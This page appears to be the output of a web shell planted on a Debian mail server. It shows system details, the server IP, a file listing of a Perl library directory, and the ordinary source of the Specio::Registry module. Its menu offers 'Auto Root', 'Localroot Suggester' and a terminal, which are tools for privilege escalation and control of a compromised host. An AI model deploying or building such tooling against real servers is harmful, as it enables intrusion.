Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
perl5 /
Specio /
Delete
Unzip
Name
Size
Permission
Date
Action
Constraint
[ DIR ]
drwxr-xr-x
2025-02-07 09:25
Library
[ DIR ]
drwxr-xr-x
2025-02-07 09:25
Role
[ DIR ]
drwxr-xr-x
2025-02-07 09:25
Coercion.pm
8.05
KB
-rw-r--r--
2022-06-11 16:32
Declare.pm
17.44
KB
-rw-r--r--
2022-06-11 16:32
DeclaredAt.pm
3.05
KB
-rw-r--r--
2022-06-11 16:32
Exception.pm
2.81
KB
-rw-r--r--
2022-06-11 16:32
Exporter.pm
3.69
KB
-rw-r--r--
2022-06-11 16:32
Helpers.pm
3.46
KB
-rw-r--r--
2022-06-11 16:32
OO.pm
10.26
KB
-rw-r--r--
2022-06-11 16:32
PartialDump.pm
5.43
KB
-rw-r--r--
2022-06-11 16:32
Registry.pm
2.06
KB
-rw-r--r--
2022-06-11 16:32
Subs.pm
6.33
KB
-rw-r--r--
2022-06-11 16:32
TypeChecks.pm
1.83
KB
-rw-r--r--
2022-06-11 16:32
Save
Rename
package Specio::Registry; use strict; use warnings; use parent 'Exporter'; our $VERSION = '0.48'; use Carp qw( confess croak ); our @EXPORT_OK = qw( exportable_types_for_package internal_types_for_package register ); my %Registry; sub register { confess 'register requires three or four arguments (package, name, type, [exportable])' unless @_ == 3 || @_ == 4; my $package = shift; my $name = shift; my $type = shift; my $exportable = shift; croak "The $package package already has a type named $name" if $Registry{$package}{internal}{$name}; # This is structured so that we can always return a _reference_ for # *_types_for_package. This means that the generated t sub sees any # changes to the registry as they happen. This is important inside a # package that is declaring new types. It needs to be able to see types it # has declared. $Registry{$package}{internal}{$name} = $type; $Registry{$package}{exportable}{$name} = $type if $exportable; return; } sub exportable_types_for_package { my $package = shift; return $Registry{$package}{exportable} ||= {}; } sub internal_types_for_package { my $package = shift; return $Registry{$package}{internal} ||= {}; } 1; # ABSTRACT: Implements the per-package type registry __END__ =pod =encoding UTF-8 =head1 NAME Specio::Registry - Implements the per-package type registry =head1 VERSION version 0.48 =head1 DESCRIPTION There's nothing public here. =for Pod::Coverage .* =head1 SUPPORT Bugs may be submitted at L<https://github.com/houseabsolute/Specio/issues>. =head1 SOURCE The source code repository for Specio can be found at L<https://github.com/houseabsolute/Specio>. =head1 AUTHOR Dave Rolsky <autarch@urth.org> =head1 COPYRIGHT AND LICENSE This software is Copyright (c) 2012 - 2022 by Dave Rolsky. This is free software, licensed under: The Artistic License 2.0 (GPL Compatible) The full text of the license can be found in the F<LICENSE> file included with this distribution. =cut